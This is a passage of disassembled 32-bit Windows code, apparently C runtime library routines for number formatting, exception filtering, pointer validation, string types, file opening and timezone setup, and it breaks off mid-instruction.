sub_4139B0+68j push 1Fh pop ecx sub ecx, [edi+0Ch] mov edi, [edi+10h] shl esi, cl mov ecx, [ebp+arg_0] neg ecx sbb ecx, ecx and ecx, 80000000h or esi, ecx or esi, [ebp+var_C] cmp edi, 40h jnz short loc_413B0D mov ecx, [ebp+arg_4] mov edx, [ebp+var_8] mov [ecx+4], esi mov [ecx], edx jmp short loc_413B17 ; --------------------------------------------------------------------------- loc_413B0D: ; CODE XREF: sub_4139B0+14Ej cmp edi, 20h jnz short loc_413B17 mov ecx, [ebp+arg_4] mov [ecx], esi loc_413B17: ; CODE XREF: sub_4139B0+15Bj ; sub_4139B0+160j pop edi pop esi pop ebx leave retn sub_4139B0 endp ; =============== S U B R O U T I N E ======================================= sub_413B1C proc near ; CODE XREF: sub_413B48+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_420598 push [esp+4+arg_4] push [esp+8+arg_0] call sub_4139B0 add esp, 0Ch retn sub_413B1C endp ; =============== S U B R O U T I N E ======================================= sub_413B32 proc near ; CODE XREF: sub_413B75+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_4205B0 push [esp+4+arg_4] push [esp+8+arg_0] call sub_4139B0 add esp, 0Ch retn sub_413B32 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413B48 proc near ; CODE XREF: sub_4107FE+12p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_414CF7 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_413B1C add esp, 24h leave retn sub_413B48 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413B75 proc near ; CODE XREF: sub_4107FE+2Dp var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_414CF7 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_413B32 add esp, 24h leave retn sub_413B75 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413BA2 proc near ; CODE XREF: sub_41083C+65p ; sub_410940+63p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov ecx, [edx+0Ch] push edi lea edi, [esi+1] mov byte ptr [esi], 30h test ebx, ebx mov eax, edi jle short loc_413BDF mov [ebp+arg_0], ebx xor ebx, ebx loc_413BC5: ; CODE XREF: sub_413BA2+38j mov dl, [ecx] test dl, dl jz short loc_413BD1 movsx edx, dl inc ecx jmp short loc_413BD4 ; --------------------------------------------------------------------------- loc_413BD1: ; CODE XREF: sub_413BA2+27j push 30h pop edx loc_413BD4: ; CODE XREF: sub_413BA2+2Dj mov [eax], dl inc eax dec [ebp+arg_0] jnz short loc_413BC5 mov edx, [ebp+arg_8] loc_413BDF: ; CODE XREF: sub_413BA2+1Cj and byte ptr [eax], 0 test ebx, ebx jl short loc_413BF8 cmp byte ptr [ecx], 35h jl short loc_413BF8 loc_413BEB: ; CODE XREF: sub_413BA2+52j dec eax cmp byte ptr [eax], 39h jnz short loc_413BF6 mov byte ptr [eax], 30h jmp short loc_413BEB ; --------------------------------------------------------------------------- loc_413BF6: ; CODE XREF: sub_413BA2+4Dj inc byte ptr [eax] loc_413BF8: ; CODE XREF: sub_413BA2+42j ; sub_413BA2+47j cmp byte ptr [esi], 31h jnz short loc_413C02 inc dword ptr [edx+4] jmp short loc_413C14 ; --------------------------------------------------------------------------- loc_413C02: ; CODE XREF: sub_413BA2+59j push edi call sub_40B5B0 inc eax push eax push edi push esi call sub_40BE50 add esp, 10h loc_413C14: ; CODE XREF: sub_413BA2+5Ej pop edi pop esi pop ebx pop ebp retn sub_413BA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413C19 proc near ; CODE XREF: sub_41083C+3Fp ; sub_410940+46p ... var_C = byte ptr -0Ch arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 0Ch push esi lea eax, [ebp+arg_0] push edi push eax lea eax, [ebp+var_C] push eax call sub_413C7D pop ecx lea esi, [ebp+var_C] pop ecx push offset word_47FAE0 push 0 push 11h sub esp, 0Ch mov edi, esp movsd movsd movsw call sub_4151C8 mov dword_47FB08, eax add esp, 18h movsx eax, byte_47FAE2 mov dword_47FB00, eax pop edi movsx eax, word_47FAE0 mov dword_47FB04, eax mov dword_47FB0C, offset dword_47FAE4 mov eax, offset dword_47FB00 pop esi leave retn sub_413C19 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413C7D proc near ; CODE XREF: sub_413C19+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov edx, [ebp+arg_4] push ebx push esi push edi mov ax, [edx+6] mov edi, 7FFh mov ecx, eax and eax, 8000h shr ecx, 4 and ecx, edi mov [ebp+arg_4], eax mov eax, [edx+4] mov edx, [edx] movzx ebx, cx mov esi, 80000000h and eax, 0FFFFFh test ebx, ebx mov [ebp+var_4], esi jz short loc_413CCB cmp ebx, edi jz short loc_413CC4 lea edi, [ecx+3C00h] jmp short loc_413CEC ; --------------------------------------------------------------------------- loc_413CC4: ; CODE XREF: sub_413C7D+3Dj mov edi, 7FFFh jmp short loc_413CEC ; --------------------------------------------------------------------------- loc_413CCB: ; CODE XREF: sub_413C7D+39j xor ebx, ebx cmp eax, ebx jnz short loc_413CE3 cmp edx, ebx jnz short loc_413CE3 mov eax, [ebp+arg_0] mov [eax+4], ebx mov [eax], ebx mov [eax+8], bx jmp short loc_413D2E ; --------------------------------------------------------------------------- loc_413CE3: ; CODE XREF: sub_413C7D+52j ; sub_413C7D+56j lea edi, [ecx+3C01h] mov [ebp+var_4], ebx loc_413CEC: ; CODE XREF: sub_413C7D+45j ; sub_413C7D+4Cj mov ecx, edx shr ecx, 15h shl eax, 0Bh or ecx, eax mov eax, [ebp+arg_0] or ecx, [ebp+var_4] shl edx, 0Bh mov [eax+4], ecx mov [eax], edx loc_413D04: ; CODE XREF: sub_413C7D+A6j test ecx, esi jnz short loc_413D25 mov edx, [eax] add ecx, ecx mov ebx, edx shr ebx, 1Fh or ebx, ecx lea ecx, [edx+edx] mov [eax], ecx mov [eax+4], ebx add edi, 0FFFFh mov ecx, ebx jmp short loc_413D04 ; --------------------------------------------------------------------------- loc_413D25: ; CODE XREF: sub_413C7D+89j mov ecx, [ebp+arg_4] or ecx, edi mov [eax+8], cx loc_413D2E: ; CODE XREF: sub_413C7D+64j pop edi pop esi pop ebx leave retn sub_413C7D endp ; --------------------------------------------------------------------------- push 2 call sub_40D60A pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_413D3C proc near ; DATA XREF: sub_413D82o ; .nsp0:0041FD68o ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi] cmp dword ptr [eax], 0E06D7363h jnz short loc_413D5F cmp dword ptr [eax+10h], 3 jnz short loc_413D5F cmp dword ptr [eax+14h], 19930520h jnz short loc_413D5F jmp sub_4113CC ; --------------------------------------------------------------------------- loc_413D5F: ; CODE XREF: sub_413D3C+Dj ; sub_413D3C+13j ... mov eax, dword_47FB10 test eax, eax jz short loc_413D7C push eax call sub_413DD8 test eax, eax pop ecx jz short loc_413D7C push esi call dword_47FB10 jmp short loc_413D7E ; --------------------------------------------------------------------------- loc_413D7C: ; CODE XREF: sub_413D3C+2Aj ; sub_413D3C+35j xor eax, eax loc_413D7E: ; CODE XREF: sub_413D3C+3Ej pop esi retn 4 sub_413D3C endp ; =============== S U B R O U T I N E ======================================= sub_413D82 proc near ; DATA XREF: .nsp0:00419020o push offset sub_413D3C call dword_41702C ; SetUnhandledExceptionFilter mov dword_47FB10, eax retn sub_413D82 endp ; =============== S U B R O U T I N E ======================================= sub_413D93 proc near ; DATA XREF: .nsp0:00419038o push dword_47FB10 call dword_41702C ; SetUnhandledExceptionFilter retn sub_413D93 endp ; =============== S U B R O U T I N E ======================================= sub_413DA0 proc near ; CODE XREF: sub_410C14+6Bp ; sub_411125+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call dword_417028 ; IsBadReadPtr test eax, eax jz short loc_413DB8 xor esi, esi loc_413DB8: ; CODE XREF: sub_413DA0+14j mov eax, esi pop esi retn sub_413DA0 endp ; =============== S U B R O U T I N E ======================================= sub_413DBC proc near ; CODE XREF: sub_411125+73p ; sub_411125+BFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call dword_41713C ; IsBadWritePtr test eax, eax jz short loc_413DD4 xor esi, esi loc_413DD4: ; CODE XREF: sub_413DBC+14j mov eax, esi pop esi retn sub_413DBC endp ; =============== S U B R O U T I N E ======================================= sub_413DD8 proc near ; CODE XREF: sub_411125+15Bp ; sub_413D3C+2Dp arg_0 = dword ptr 4 push esi push 1 pop esi push [esp+4+arg_0] call dword_417024 ; IsBadCodePtr test eax, eax jz short loc_413DEC xor esi, esi loc_413DEC: ; CODE XREF: sub_413DD8+10j mov eax, esi pop esi retn sub_413DD8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4113CC loc_413DF0: ; CODE XREF: sub_4113CC:loc_41141Dj push 0Ah call sub_41303D push 16h call sub_41545B pop ecx pop ecx push 3 call sub_40D156 ; END OF FUNCTION CHUNK FOR sub_4113CC ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413E07 proc near ; CODE XREF: sub_4114D9+5Ep ; sub_41227E+9Ap var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_417B70 push offset sub_412F2C mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_47FB14 xor ebx, ebx cmp eax, ebx jnz short loc_413E76 lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_417860 push esi call dword_41701C ; GetStringTypeW test eax, eax jz short loc_413E54 mov eax, esi jmp short loc_413E71 ; --------------------------------------------------------------------------- loc_413E54: ; CODE XREF: sub_413E07+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_42226C push esi push ebx call dword_417020 ; GetStringTypeA test eax, eax jz loc_413F3C push 2 pop eax loc_413E71: ; CODE XREF: sub_413E07+4Bj mov dword_47FB14, eax loc_413E76: ; CODE XREF: sub_413E07+2Fj cmp eax, 2 jnz short loc_413E9F mov eax, [ebp+arg_14] cmp eax, ebx jnz short loc_413E87 mov eax, dword_47F9A4 loc_413E87: ; CODE XREF: sub_413E07+79j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push eax call dword_417020 ; GetStringTypeA jmp loc_413F3E ; --------------------------------------------------------------------------- loc_413E9F: ; CODE XREF: sub_413E07+72j cmp eax, 1 jnz loc_413F3C cmp [ebp+arg_10], ebx jnz short loc_413EB5 mov eax, dword_47F9B4 mov [ebp+arg_10], eax loc_413EB5: ; CODE XREF: sub_413E07+A4j push ebx push ebx push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_18] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_10] call dword_4170C4 ; MultiByteToWideChar mov [ebp+var_20], eax cmp eax, ebx jz short loc_413F3C mov [ebp+var_4], ebx lea edi, [eax+eax] mov eax, edi add eax, 3 and al, 0FCh call sub_40B690 mov [ebp+var_18], esp mov esi, esp mov [ebp+var_24], esi push edi push ebx push esi call sub_40B630 add esp, 0Ch jmp short loc_413F0B ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor esi, esi loc_413F0B: ; CODE XREF: sub_413E07+F7j or [ebp+var_4], 0FFFFFFFFh cmp esi, ebx jz short loc_413F3C push [ebp+var_20] push esi push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_10] call dword_4170C4 ; MultiByteToWideChar cmp eax, ebx jz short loc_413F3C push [ebp+arg_C] push eax push esi push [ebp+arg_0] call dword_41701C ; GetStringTypeW jmp short loc_413F3E ; --------------------------------------------------------------------------- loc_413F3C: ; CODE XREF: sub_413E07+61j ; sub_413E07+9Bj ... xor eax, eax loc_413F3E: ; CODE XREF: sub_413E07+93j ; sub_413E07+133j lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_413E07 endp ; =============== S U B R O U T I N E ======================================= sub_413F50 proc near ; CODE XREF: sub_41416A:loc_4142E2p push ebx push esi push edi or ebx, 0FFFFFFFFh xor edi, edi xor esi, esi mov ecx, offset dword_480C40 loc_413F5F: ; CODE XREF: sub_413F50+48j mov eax, [ecx] test eax, eax jz short loc_413F9C lea edx, [eax+100h] loc_413F6B: ; CODE XREF: sub_413F50+28j cmp eax, edx jnb short loc_413F8B test byte ptr [eax+4], 1 jz short loc_413F7A add eax, 8 jmp short loc_413F6B ; --------------------------------------------------------------------------- loc_413F7A: ; CODE XREF: sub_413F50+23j or dword ptr [eax], 0FFFFFFFFh sub eax, [ecx] sar eax, 3 add eax, esi mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_413FDF loc_413F8B: ; CODE XREF: sub_413F50+1Dj add ecx, 4 inc edi add esi, 20h cmp ecx, offset dword_480D40 jl short loc_413F5F jmp short loc_413FDF ; --------------------------------------------------------------------------- loc_413F9C: ; CODE XREF: sub_413F50+13j mov esi, 100h push esi call sub_40B6BF test eax, eax pop ecx jz short loc_413FDF add dword_480D40, 20h lea ecx, ds:480C40h[edi*4] lea edx, [eax+100h] mov [ecx], eax loc_413FC2: ; CODE XREF: sub_413F50+88j cmp eax, edx jnb short loc_413FDA and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov edx, [ecx] add eax, 8 add edx, esi jmp short loc_413FC2 ; --------------------------------------------------------------------------- loc_413FDA: ; CODE XREF: sub_413F50+74j shl edi, 5 mov ebx, edi loc_413FDF: ; CODE XREF: sub_413F50+39j ; sub_413F50+4Aj ... pop edi mov eax, ebx pop esi pop ebx retn sub_413F50 endp ; =============== S U B R O U T I N E ======================================= sub_413FE5 proc near ; CODE XREF: sub_41416A+1F4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_480D40 push edi jnb short loc_414045 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:480C40h[ecx*4] shl esi, 3 mov ecx, [edi] cmp dword ptr [ecx+esi], 0FFFFFFFFh jnz short loc_414045 cmp dword_41DBF4, 1 push ebx mov ebx, [esp+0Ch+arg_4] jnz short loc_41403B sub eax, 0 jz short loc_414032 dec eax jz short loc_41402D dec eax jnz short loc_41403B push ebx push 0FFFFFFF4h jmp short loc_414035 ; --------------------------------------------------------------------------- loc_41402D: ; CODE XREF: sub_413FE5+3Ej push ebx push 0FFFFFFF5h jmp short loc_414035 ; --------------------------------------------------------------------------- loc_414032: ; CODE XREF: sub_413FE5+3Bj push ebx push 0FFFFFFF6h loc_414035: ; CODE XREF: sub_413FE5+46j ; sub_413FE5+4Bj call dword_417018 ; SetStdHandle loc_41403B: ; CODE XREF: sub_413FE5+36j ; sub_413FE5+41j mov eax, [edi] mov [eax+esi], ebx xor eax, eax pop ebx jmp short loc_414059 ; --------------------------------------------------------------------------- loc_414045: ; CODE XREF: sub_413FE5+Cj ; sub_413FE5+28j and dword_47F918, 0 mov dword_47F914, 9 or eax, 0FFFFFFFFh loc_414059: ; CODE XREF: sub_413FE5+5Ej pop edi pop esi retn sub_413FE5 endp ; =============== S U B R O U T I N E ======================================= sub_41405C proc near ; CODE XREF: sub_411584+7Cp arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi cmp ecx, dword_480D40 push edi jnb short loc_4140BF mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea edi, ds:480C40h[eax*4] shl esi, 3 mov eax, [edi] add eax, esi test byte ptr [eax+4], 1 jz short loc_4140BF cmp dword ptr [eax], 0FFFFFFFFh jz short loc_4140BF cmp dword_41DBF4, 1 jnz short loc_4140B5 xor eax, eax sub ecx, eax jz short loc_4140AC dec ecx jz short loc_4140A7 dec ecx jnz short loc_4140B5 push eax push 0FFFFFFF4h jmp short loc_4140AF ; --------------------------------------------------------------------------- loc_4140A7: ; CODE XREF: sub_41405C+41j push eax push 0FFFFFFF5h jmp short loc_4140AF ; --------------------------------------------------------------------------- loc_4140AC: ; CODE XREF: sub_41405C+3Ej push eax push 0FFFFFFF6h loc_4140AF: ; CODE XREF: sub_41405C+49j ; sub_41405C+4Ej call dword_417018 ; SetStdHandle loc_4140B5: ; CODE XREF: sub_41405C+38j ; sub_41405C+44j mov eax, [edi] or dword ptr [eax+esi], 0FFFFFFFFh xor eax, eax jmp short loc_4140D3 ; --------------------------------------------------------------------------- loc_4140BF: ; CODE XREF: sub_41405C+Cj ; sub_41405C+2Aj ... and dword_47F918, 0 mov dword_47F914, 9 or eax, 0FFFFFFFFh loc_4140D3: ; CODE XREF: sub_41405C+61j pop edi pop esi retn sub_41405C endp ; =============== S U B R O U T I N E ======================================= sub_4140D6 proc near ; CODE XREF: sub_411584+32p ; sub_411584+49p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_480D40 jnb short loc_4140FE mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_480C40[ecx*4] test byte ptr [ecx+eax*8+4], 1 lea eax, [ecx+eax*8] jz short loc_4140FE mov eax, [eax] retn ; --------------------------------------------------------------------------- loc_4140FE: ; CODE XREF: sub_4140D6+Aj ; sub_4140D6+23j and dword_47F918, 0 mov dword_47F914, 9 or eax, 0FFFFFFFFh retn sub_4140D6 endp ; =============== S U B R O U T I N E ======================================= sub_414113 proc near ; CODE XREF: sub_411662+2Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_480D40 jnb short loc_41415C mov ecx, eax mov edx, eax sar ecx, 5 and edx, 1Fh mov ecx, dword_480C40[ecx*4] test byte ptr [ecx+edx*8+4], 1 jz short loc_41415C push eax call sub_4140D6 pop ecx push eax call dword_417014 ; FlushFileBuffers test eax, eax jnz short loc_414151 call dword_417044 ; RtlGetLastWin32Error jmp short loc_414153 ; --------------------------------------------------------------------------- loc_414151: ; CODE XREF: sub_414113+34j xor eax, eax loc_414153: ; CODE XREF: sub_414113+3Cj test eax, eax jz short locret_414169 mov dword_47F918, eax loc_41415C: ; CODE XREF: sub_414113+Aj ; sub_414113+22j mov dword_47F914, 9 or eax, 0FFFFFFFFh locret_414169: ; CODE XREF: sub_414113+42j retn sub_414113 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41416A proc near ; CODE XREF: sub_411A3E+13Fp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch mov ecx, [ebp+arg_4] push ebx xor ebx, ebx push esi test cl, 80h push edi mov [ebp+var_1C], 0Ch mov [ebp+var_18], ebx jz short loc_414190 mov [ebp+var_14], ebx mov [ebp+var_1], 10h jmp short loc_41419B ; --------------------------------------------------------------------------- loc_414190: ; CODE XREF: sub_41416A+1Bj and [ebp+var_1], 0 mov [ebp+var_14], 1 loc_41419B: ; CODE XREF: sub_41416A+24j mov eax, 8000h test ecx, eax jnz short loc_4141B5 test ch, 40h jnz short loc_4141B1 cmp dword_47FBFC, eax jz short loc_4141B5 loc_4141B1: ; CODE XREF: sub_41416A+3Dj or [ebp+var_1], 80h loc_4141B5: ; CODE XREF: sub_41416A+38j ; sub_41416A+45j push 3 mov eax, ecx pop esi and eax, esi sub eax, ebx jz short loc_4141ED dec eax jz short loc_4141E4 dec eax jz short loc_4141DB loc_4141C6: ; CODE XREF: sub_41416A+9Fj ; sub_41416A+E8j ... mov dword_47F914, 16h mov dword_47F918, ebx jmp loc_414400 ; --------------------------------------------------------------------------- loc_4141DB: ; CODE XREF: sub_41416A+5Aj mov [ebp+var_C], 0C0000000h jmp short loc_4141F4 ; --------------------------------------------------------------------------- loc_4141E4: ; CODE XREF: sub_41416A+57j mov [ebp+var_C], 40000000h jmp short loc_4141F4 ; --------------------------------------------------------------------------- loc_4141ED: ; CODE XREF: sub_41416A+54j mov [ebp+var_C], 80000000h loc_4141F4: ; CODE XREF: sub_41416A+78j ; sub_41416A+81j mov eax, [ebp+arg_8] cmp eax, 10h jz short loc_414222 cmp eax, 20h jz short loc_414219 cmp eax, 30h jz short loc_414210 cmp eax, 40h jnz short loc_4141C6 mov [ebp+var_10], esi jmp short loc_414225 ; --------------------------------------------------------------------------- loc_414210: ; CODE XREF: sub_41416A+9Aj mov [ebp+var_10], 2 jmp short loc_414225 ; --------------------------------------------------------------------------- loc_414219: ; CODE XREF: sub_41416A+95j mov [ebp+var_10], 1 jmp short loc_414225 ; --------------------------------------------------------------------------- loc_414222: ; CODE XREF: sub_41416A+90j mov [ebp+var_10], ebx loc_414225: ; CODE XREF: sub_41416A+A4j ; sub_41416A+ADj ... mov edx, 700h mov eax, 400h and ecx, edx mov edi, 100h cmp ecx, eax jg short loc_41426F jz short loc_41426A cmp ecx, ebx jz short loc_41426A cmp ecx, edi jz short loc_414261 cmp ecx, 200h jz short loc_414288 cmp ecx, 300h jnz loc_4141C6 mov [ebp+var_8], 2 jmp short loc_414298 ; --------------------------------------------------------------------------- loc_414261: ; CODE XREF: sub_41416A+D8j mov [ebp+var_8], 4 jmp short loc_414298 ; --------------------------------------------------------------------------- loc_41426A: ; CODE XREF: sub_41416A+D0j ; sub_41416A+D4j mov [ebp+var_8], esi jmp short loc_414298 ; --------------------------------------------------------------------------- loc_41426F: ; CODE XREF: sub_41416A+CEj cmp ecx, 500h jz short loc_414291 cmp ecx, 600h jz short loc_414288 cmp ecx, edx jz short loc_414291 jmp loc_4141C6 ; --------------------------------------------------------------------------- loc_414288: ; CODE XREF: sub_41416A+E0j ; sub_41416A+113j mov [ebp+var_8], 5 jmp short loc_414298 ; --------------------------------------------------------------------------- loc_414291: ; CODE XREF: sub_41416A+10Bj ; sub_41416A+117j mov [ebp+var_8], 1 loc_414298: ; CODE XREF: sub_41416A+F5j ; sub_41416A+FEj ... mov eax, [ebp+arg_4] mov esi, 80h test eax, edi jz short loc_4142B7 mov ecx, dword_47F91C not ecx and ecx, [ebp+arg_C] test cl, 80h jnz short loc_4142B7 push 1 pop esi loc_4142B7: ; CODE XREF: sub_41416A+138j ; sub_41416A+148j test al, 40h jz short loc_4142C5 or esi, 4000000h or byte ptr [ebp+var_C+2], 1 loc_4142C5: ; CODE XREF: sub_41416A+14Fj test ah, 10h jz short loc_4142CC or esi, edi loc_4142CC: ; CODE XREF: sub_41416A+15Ej test al, 20h jz short loc_4142D8 or esi, 8000000h jmp short loc_4142E2 ; --------------------------------------------------------------------------- loc_4142D8: ; CODE XREF: sub_41416A+164j test al, 10h jz short loc_4142E2 or esi, 10000000h loc_4142E2: ; CODE XREF: sub_41416A+16Cj ; sub_41416A+170j call sub_413F50 mov ebx, eax or edi, 0FFFFFFFFh cmp ebx, edi jnz short loc_414303 and dword_47F918, 0 mov dword_47F914, 18h jmp short loc_414341 ; --------------------------------------------------------------------------- loc_414303: ; CODE XREF: sub_41416A+184j push 0 push esi push [ebp+var_8] lea eax, [ebp+var_1C] push eax push [ebp+var_10] push [ebp+var_C] push [ebp+arg_0] call dword_41707C ; CreateFileA mov esi, eax cmp esi, edi jz short loc_414334 push esi call dword_417030 ; GetFileType test eax, eax jnz short loc_414348 push esi call dword_417074 ; CloseHandle loc_414334: ; CODE XREF: sub_41416A+1B6j call dword_417044 ; RtlGetLastWin32Error push eax call sub_411C26 pop ecx loc_414341: ; CODE XREF: sub_41416A+197j mov eax, edi jmp loc_41441E ; --------------------------------------------------------------------------- loc_414348: ; CODE XREF: sub_41416A+1C1j cmp eax, 2 jnz short loc_414353 or [ebp+var_1], 40h jmp short loc_41435C ; --------------------------------------------------------------------------- loc_414353: ; CODE XREF: sub_41416A+1E1j cmp eax, 3 jnz short loc_41435C or [ebp+var_1], 8 loc_41435C: ; CODE XREF: sub_41416A+1E7j ; sub_41416A+1ECj push esi push ebx call sub_413FE5 pop ecx mov al, [ebp+var_1] pop ecx mov esi, ebx mov ecx, ebx or al, 1 sar ecx, 5 and esi, 1Fh mov byte ptr [ebp+arg_0+3], al lea edi, ds:480C40h[ecx*4] shl esi, 3 mov ecx, [edi] and byte ptr [ebp+arg_0+3], 48h mov [ecx+esi+4], al jnz short loc_414405 test al, 80h jz short loc_414405 test byte ptr [ebp+arg_4], 2 jz short loc_414405 push 2 push 0FFFFFFFFh push ebx call sub_412573 add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jnz short loc_4143BA cmp dword_47F918, 83h jz short loc_414405 jmp short loc_4143F9 ; --------------------------------------------------------------------------- loc_4143BA: ; CODE XREF: sub_41416A+240j and byte ptr [ebp+arg_8+3], 0 lea eax, [ebp+arg_8+3] push 1 push eax push ebx call sub_411848 add esp, 0Ch test eax, eax jnz short loc_4143E7 cmp byte ptr [ebp+arg_8+3], 1Ah jnz short loc_4143E7 push [ebp+var_10] push ebx call sub_4155CD pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_4143F9 loc_4143E7: ; CODE XREF: sub_41416A+265j ; sub_41416A+26Bj push 0 push 0 push ebx call sub_412573 add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_414405 loc_4143F9: ; CODE XREF: sub_41416A+24Ej ; sub_41416A+27Bj push ebx call sub_411584 pop ecx loc_414400: ; CODE XREF: sub_41416A+6Cj or eax, 0FFFFFFFFh jmp short loc_41441E ; --------------------------------------------------------------------------- loc_414405: ; CODE XREF: sub_41416A+221j ; sub_41416A+225j ... cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_41441C test byte ptr [ebp+arg_4], 8 jz short loc_41441C mov eax, [edi] or byte ptr [eax+esi+4], 20h lea eax, [eax+esi+4] loc_41441C: ; CODE XREF: sub_41416A+29Fj ; sub_41416A+2A5j mov eax, ebx loc_41441E: ; CODE XREF: sub_41416A+1D9j ; sub_41416A+299j pop edi pop esi pop ebx leave retn sub_41416A endp ; =============== S U B R O U T I N E ======================================= sub_414423 proc near ; CODE XREF: sub_411D59:loc_411D98p cmp dword_47FBD8, 0 jnz short locret_414437 call sub_414438 inc dword_47FBD8 locret_414437: ; CODE XREF: sub_414423+7j retn sub_414423 endp ; =============== S U B R O U T I N E ======================================= sub_414438 proc near ; CODE XREF: sub_414423+9p var_4 = dword ptr -4 push ecx push ebx push ebp push esi push edi xor ebp, ebp or ebx, 0FFFFFFFFh push offset aTz ; "TZ" xor edi, edi mov dword_47FB20, ebp mov dword_420670, ebx mov dword_420660, ebx call sub_415713 mov esi, eax pop ecx cmp esi, ebp jnz loc_414561 push offset dword_47FB28 call dword_417114 ; GetTimeZoneInformation cmp eax, ebx jz loc_414690 mov eax, dword_47FB28 mov ecx, dword_47FB7C imul eax, 3Ch cmp word_47FB6E, bp push 1 pop edx mov dword_4205C8, eax mov dword_47FB20, edx jz short loc_4144AF mov esi, ecx imul esi, 3Ch add eax, esi mov dword_4205C8, eax loc_4144AF: ; CODE XREF: sub_414438+69j cmp word_47FBC2, bp jz short loc_4144D3 mov eax, dword_47FBD0 cmp eax, ebp jz short loc_4144D3 sub eax, ecx mov dword_4205CC, edx imul eax, 3Ch mov dword_4205D0, eax jmp short loc_4144DF ; --------------------------------------------------------------------------- loc_4144D3: ; CODE XREF: sub_414438+7Ej ; sub_414438+87j mov dword_4205CC, ebp mov dword_4205D0, ebp loc_4144DF: ; CODE XREF: sub_414438+99j lea eax, [esp+14h+var_4] mov esi, dword_4170C0 push eax push ebp push 3Fh mov edi, 220h push off_420654 push ebx push offset dword_47FB2C push edi push dword_47F9B4 call esi ; WideCharToMultiByte test eax, eax jz short loc_41451C cmp [esp+14h+var_4], ebp jnz short loc_41451C mov eax, off_420654 and byte ptr [eax+3Fh], 0 jmp short loc_414524 ; --------------------------------------------------------------------------- loc_41451C: ; CODE XREF: sub_414438+D1j ; sub_414438+D7j mov eax, off_420654 and byte ptr [eax], 0 loc_414524: ; CODE XREF: sub_414438+E2j lea eax, [esp+14h+var_4] push eax push ebp push 3Fh push off_420658 push ebx push offset dword_47FB80 push edi push dword_47F9B4 call esi ; WideCharToMultiByte test eax, eax jz loc_414688 cmp [esp+14h+var_4], ebp jnz loc_414688 mov eax, off_420658 and byte ptr [eax+3Fh], 0 jmp loc_414690 ; --------------------------------------------------------------------------- loc_414561: ; CODE XREF: sub_414438+2Dj cmp byte ptr [esi], 